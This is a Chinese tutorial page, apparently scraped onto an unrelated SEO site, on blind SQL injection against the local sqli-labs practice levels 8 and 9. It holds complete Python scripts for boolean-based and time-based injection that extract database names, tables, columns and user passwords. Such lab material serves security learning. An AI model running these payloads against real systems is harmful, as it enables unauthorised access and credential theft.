当前位置: 首页 > news >正文

河东网站建设百度竞价托管公司

河东网站建设,百度竞价托管公司,hoperun企业邮箱,青岛做教育的网站建设一、布尔盲注 布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序不直接显示数据库查询结果的情况下,通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的…

一、布尔盲注

布尔盲注(Boolean-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序不直接显示数据库查询结果的情况下,通过构造特定的SQL查询并根据页面返回的不同结果来推测数据库中的信息。这种方法依赖于SQL查询的结果是否为真或假,进而推断出数据库中的具体信息。

案例为sqlilabs中的第八关,采用二分查找

python脚本:

import requests
def get_database(URL):# 获取数据库名称s = ""for i in range(1, 10):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and greatest(ascii(substr(database(),{i},1)),{mid})={mid} -- "}  # 相当于第一个字符<={mid}条件判断为真res = requests.get(url=URL, params=payload)if "You are in" in res.text:high = midmid = (low + high) // 2else:low = mid + 1mid = (low + high) // 2s += chr(mid)print("数据库名称:" + s)def get_table(URL):# 获取表名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("表的名称:" + s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表的列:" + s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid} -- "}res = requests.get(url=URL, params=payload)if "You are in" in res.text:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表具体数据:" + s)if __name__ == '__main__':URL = "http://127.0.0.1/sqlilabs/Less-8/index.php"get_database(URL)get_table(URL)get_column(URL)get_result(URL)

运行结果

二、时间盲注

时间盲注(Time-based Blind SQL Injection)是一种SQL注入技术,用于在应用程序没有直接回显数据库查询结果的情况下,通过构造特定的SQL查询来推测数据库中的信息。这种方法依赖于数据库处理查询时产生的延迟响应来判断条件的真假。

案例为sqlilabs中的第九关,同样为二分查找

python脚本

import requests
import datetimedef get_database(URL):# 获取数据库名称s = ""for i in range(1, 10):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((greatest(ascii(substr(database(),{i},1)),{mid})={mid}),sleep(3),1) -- "}  # 相当于第一个字符<={mid}条件判断为真start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:high = midmid = (low + high) // 2else:low = mid + 1mid = (low + high) // 2s += chr(mid)print("数据库名称:" + s)def get_table(URL):# 获取表名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=\"security\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("表的名称:" + s)def get_column(URL):# 获取管理员的字段名称s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(column_name) from information_schema.columns where table_schema=\"security\" and table_name=\"users\"),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users表的列:" + s)def get_result(URl):# 获取用户名和密码信息s = ""for i in range(1, 32):low = 32high = 128mid = (low + high) // 2while (high > low):payload = {"id": f"1' and if((ascii(substr((select group_concat(username,0x3e,password) from users),{i},1))>{mid}),sleep(3),1) -- "}start = datetime.datetime.now()res = requests.get(url=URL, params=payload)end = datetime.datetime.now()if (end - start).seconds >= 3:low = mid + 1mid = (low + high) // 2else:high = midmid = (low + high) // 2s += chr(mid)print("users中的具体数据:" + s)if __name__ == '__main__':URL = "http://127.0.0.1/sqlilabs/Less-9/index.php"# get_database(URL)get_table(URL)# get_column(URL)# get_result(URL)

运行结果:

http://www.wangmingla.cn/news/135499.html

相关文章:

  • 网站策划公司如何提高网站的搜索排名
  • 2017做电商做什么网站湘潭网站seo磐石网络
  • 威海外贸网站建设电话抖音权重查询工具
  • 做购物网站 推广广州搜发网络科技有限公司
  • 网站首页大图的尺寸友情链接买卖代理
  • 网站长尾词怎么做seo扣费系统
  • wordpress可以做企业网站百度网盘手机app下载安装
  • 邱县做网站网站收录服务
  • dw软件入门教程关键词优化排名网站
  • 城市建设管理网站友情链接论坛
  • 国内外优秀室内设计案例优化设计五年级下册数学答案
  • 网站建设安全性信阳seo优化
  • 安丘做网站网络营销策划书1000字
  • 个体户广告公司名字seo每日一贴
  • 宠物网站项目小网站怎么搜关键词
  • 成都手机建站网站推广的目的
  • 网站开发工具报告有没有永久免费crm
  • 阜阳做网站公司网络推广公司官网
  • 怎么做钓鱼网站盗取qq品牌传播方案
  • 房产网站开发功能手册推广产品
  • 西安免费建网站制作seo在线培训
  • 网站分站是怎么做的四川百度推广和seo优化
  • 泉州公司网站设计百度网盘客服人工电话95188
  • wordpress文件上传类型seo诊断方案
  • 直接用apk 做登陆网站大连今日新闻头条
  • 网站右击无效是怎么做的自己如何注册网站
  • 新乡做网站费用网络营销是学什么的
  • 电商网站页面布局南宁seo平台标准
  • 在线代理ip网页宁波seo优化报价多少
  • 小说网站wordpressseo工具有哪些